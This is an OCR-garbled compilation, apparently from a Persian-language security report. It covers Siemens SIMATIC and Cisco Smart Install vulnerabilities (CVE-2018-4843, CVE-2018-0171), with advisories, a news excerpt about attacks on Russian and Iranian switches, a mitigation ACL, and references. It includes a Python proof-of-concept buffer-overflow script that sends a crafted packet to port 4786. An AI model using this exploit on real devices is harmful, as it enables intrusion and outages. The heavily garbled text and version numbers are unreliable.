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Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

il e 0 gazo —Y—Y

15 0y ] 008 a0 (6 iyl 50 Geien) Sl 3l RS slaases
« SIMATIC CP 343-1 Advanced: All versions,
« SIMATIC CP 343-1 Standard: All versions,
o SIMATIC CP 443-1 Advanced: All versions,
« SIMATIC CP 443-1 Standard: All versions,
« SIMATIC S7-1500 Software Controller incl. F: All versions prior to
V1.7.0,
« SIMATIC S7-1500 incl. F: All versions prior to V1.7.0,
o SIMATIC S7-300 incl. F and T: All versions,
o SIMATIC S7-400 H V6: All versions,
« SIMATIC S7-400 PN/DP V6 Incl. F: All versions prior to VV6.0.7,
« SIMATIC S7-400 PN/DP V7 Incl. F: All versions,
« SIMATIC S7-410: All versions prior to V8.1,
« SIMATIC WInAC RTX 2010 incl. F: All versions,
« SINUMERIK 828D: All versions, and
. Softnet PROFINET IO for PC-based Windows systems: All versions.

W Sl 00 8 yme (gl plp )0 i) Dl 5l B8 gleas
« Siemens SIMATIC S7-410 8.1
« Siemens SIMATIC S7-400 PN/DP 6.0.7
« Siemens SIMATIC S7-1500 Software Controller 1.7
« Siemens SIMATIC S7-1500 1.7
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Affected Product and Versions Remediation

SIMATIC CP 343-1 Advanced:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC CP 343-1 Standard:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC CP 443-1 Advanced:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC CP 443-1 Standard:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC 57-1500 Software Controller incl. F:
All versions < V1.7.0

Update to V1.8.5 or newer
hitps:/fsupport.industry.siemens.com/cs/ww/en/
view/109478528

SIMATIC S7-1500 incl. F:
All versions < V1.7.0

Update to V1.8.5 or newer
hitps://support.industry.siemens.com/cs/ww/en/
view/109478459

SIMATIC 57-300 incl. Fand T:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC S7-400 H V&:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC S7-400 PN/DP V6 Incl. F:
All versions = VE6.0.7

Update to V6.0.7
hitps:/support.industry.siemens.com/cs/w/en/
view/109474874

SIMATIC 57-400 PN/DP V7 Incl. F:
All versions

See recommendations from section Workarounds
and Mitigations

SIMATIC 57-410:
All versions < V8.1

Update to V8.1 or newer
https://support.industry.siemens.com/cs/ww/en/
view/' 109476571

SIMATIC WinAC BTX 2010 incl. F:
All versions

See recommendations from section Workarounds
and Mitigations

SINUMERIK 828D:
All versions

See recommendations from section Workarounds
and Mitigations

Softnet PROFINET 10 for PC-based Windows
systems:
All versions

See recommendations from section Workarounds
and Mitigations
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e SIMATIC S7-1500 Software Controller incl. F: Update to VV1.8.5 or newer, which can be located here:
https://support.industry.siemens.com/cs/ww/en/view/109478528

e SIMATIC S7-1500 incl. F: Update to V1.8.5 or newer, which can be located here:
https://support.industry.siemens.com/cs/ww/en/view/109478459

e SIMATIC S7-400 PN/DP V6 Incl. F: Update to VV6.0.7, which can be located here:
https://support.industry.siemens.com/cs/ww/en/view/109474874

e SIMATIC S7-410: Update to V8.1, which can be located here:
https://support.industry.siemens.com/cs/ww/en/view/109476571
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e

[ glassles X ) [§ S5A-59200 x \H NVD - CVE X \ Siemens 51 X

olarles X \ [ SSA-592007_V1.1

X /'-'E NVD - CVE-2018-4843 X

(i | & Secure | https;//cert-portal siemens.com/productcert/pdf/ssa-592007.pdf

Secure | https://nvd.nist.gov/vuln/detail/CVE-2018-4843

SSA-592007_V1.1 E (VI ]

SSA-592007: Denial-of-Service Vulnerability in Industri:

Publication Date: 2018-03-20

Last Update: 2018-03-27
Current Version: Vi1
CVSS v3.0 Base Score: 5.3

sy gy 9,155

CVSS v3.0 Severity and pjetrics:

Base Score: SRV

Vector: AV:A/AC:L/PR:N/UI:N/S:UJC:N/IN/AH (V3

legend)
Impact Score: 3.6

Exploitability Score: 2.8

NVD o5\,

CVss
Base S
Vector:
Impaci
Exploil
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# smi_ibc init discovery BoF.py

import socket
import struct

from optparse import OptionParser

# Parse the target options

parser = OptionParser()

parser.add option("-t", "--target", dest="target", help="Smart
nstall Client", default="192.168.1.1") parser.add option("-p", "--
port", dest="port", type="int", help="Port of Client", default=4786)
(options, args) = parser.parse_args()
def craft tlv(t, v, t fmt="!1", 1 fmt='!1"):

return struct.pack(t fmt, t) + struct.pack(l fmt, len(v)) + v

def send packet(sock, packet):

sock.send (packet)

def receive (sock):

return sock.recv()
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if name = " main ":

print "[*] Connecting to Smart Install Client ",
options.target, "port", options.port

con = socket.socket (socket.AF INET, socket.SOCK STREAM)

con.connect ((options.target, options.port))

payload = '"BBBB' * 44 shellcode = 'D' * 2048

data = '"A' * 36 + struct.pack('!I', len(payload) +
len(shellcode) + 40) + payload

tlv_1 = craft tlv(0x00000001, data) tlv_2 = shellcode

hdr = '"\x00\x00\x00\x01" # msg_from

hdr += "\x00\x00\x00\x01" # version

hdr += "\x00\x00\x00\x07" # msg_hdr type

hdr += struct.pack('>1', len(data)) # data length

pkt = hdr + tlv 1 + tlv 2

print "[*] Send a malicious packet"

send packet (con, pkt)
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Home / Cisco Security / Security Advisories and Alerts

a Cisco Security Advisory

Cisco 10S and 10S XE Software Smart Install Remote Code Execution

Vulnerability
Advisory ID: cisco-sa-20180328-smi2 CVE-2018-0171 ¥ Download CVRF
First Published: 2018 March 28 16.00 GMT CWE-20 | Download POF Cisco Security
. Vulnerability Policy
Last Updated: 2018 April 9 14:20 GMT &= Email
Version 1.4: Finel To learn about Cisco security
‘Workarounds: Mo workarounds available vulnerability disclosure

Cisco Bug IDs: CSCvg7B186
CVSS Score: Base 9.2 @

policies and publications, see
the Security Vulnerability
Policy. This document also
contains instructions for
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CVE-2018-0171:
CVE-2018-0156:
CVE-2016-6385:
CVE-2016-1349:
CVE-2013-1146:
CVE-2012-0385:
CVE-2011-3271:

DoS (device crash) & arbitrary code execution;
DoS;

DoS (memory consumption);

DoS (device reload);

DoS (device reload);

DoS (device reload);

DoS & arbitrary code execution.
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i an open-source end-to-end encrypted email software and
1osted secure email service. Its business model excludes
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Got a tip? You can contact this reporter securely on Signal on +44 20 8133 5190,
OTR chat on jfcox@jabber.ccc.de, or email joseph.cox@vice.com.

The hackers said they did scan many countries for the vulnerable systems, including
the UK, US, and Canada, but only “attacked” Russia and Iran, perhaps referring to the
post of an American flag and their message. They claimed to have fixed the Cisco
issue on exposed devices in the In its blog
post, Talos suggested system administrators could run a particular command on the
affected device to mitigate the exposure. This is what the hackers claimed they did on
machines in the UK and US.
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Switch>
Enable
Swichi#
Switch#configure terminal
Swich (Config)
Swich(Config)#ip access-1ist extended Abc
Swich (Config-ext-nacl) #permit tcp host x.x.x.x host x.x.x.x eq 4786

Swich (Config-ext-nacl)#deny tcp any any eq 4786
Swich (Config-ext-nacl)# permit ip any any .
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' Hash Code
% Digital Certificate

* Redundancy
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! Confidentiality
% Integrity

3 Availability
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' Procedures
2 Anonymity
* Data Origin Authentication

* Non-Repudiation
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https://www.talosintelligence.com/vulnerability reports/TALOS-2017-0472
. https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-0171
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27. https://securitytracker.com/id/1040580

28. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-
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29. https://embedi.com/blog/cisco-smart-install-remote-code-execution/
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33. http://www.aftana.ir/fa/doc/news/13892
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that-le

35. https://www.hackread.com/hackers-leave-us-flag-after-targeting-cisco-
switches-in-russia-iran

36. https://securityaffairs.co/wordpress/71102/hacking/cisco-smart-install-
hack.html

37. https://isc.sans.edu/diary/rss/23535

38. https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvd36820

39. https://motherboard.vice.com/en_us/article/a3yn38/election-hacking-
vigilante-russia-iran-cisco

40. https://nvd.nist.gov/vuln/detail/CVE-2018-0156

41. https://cwe.mitre.org/data/definitions/20.html

42. https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-cisco-i0s-
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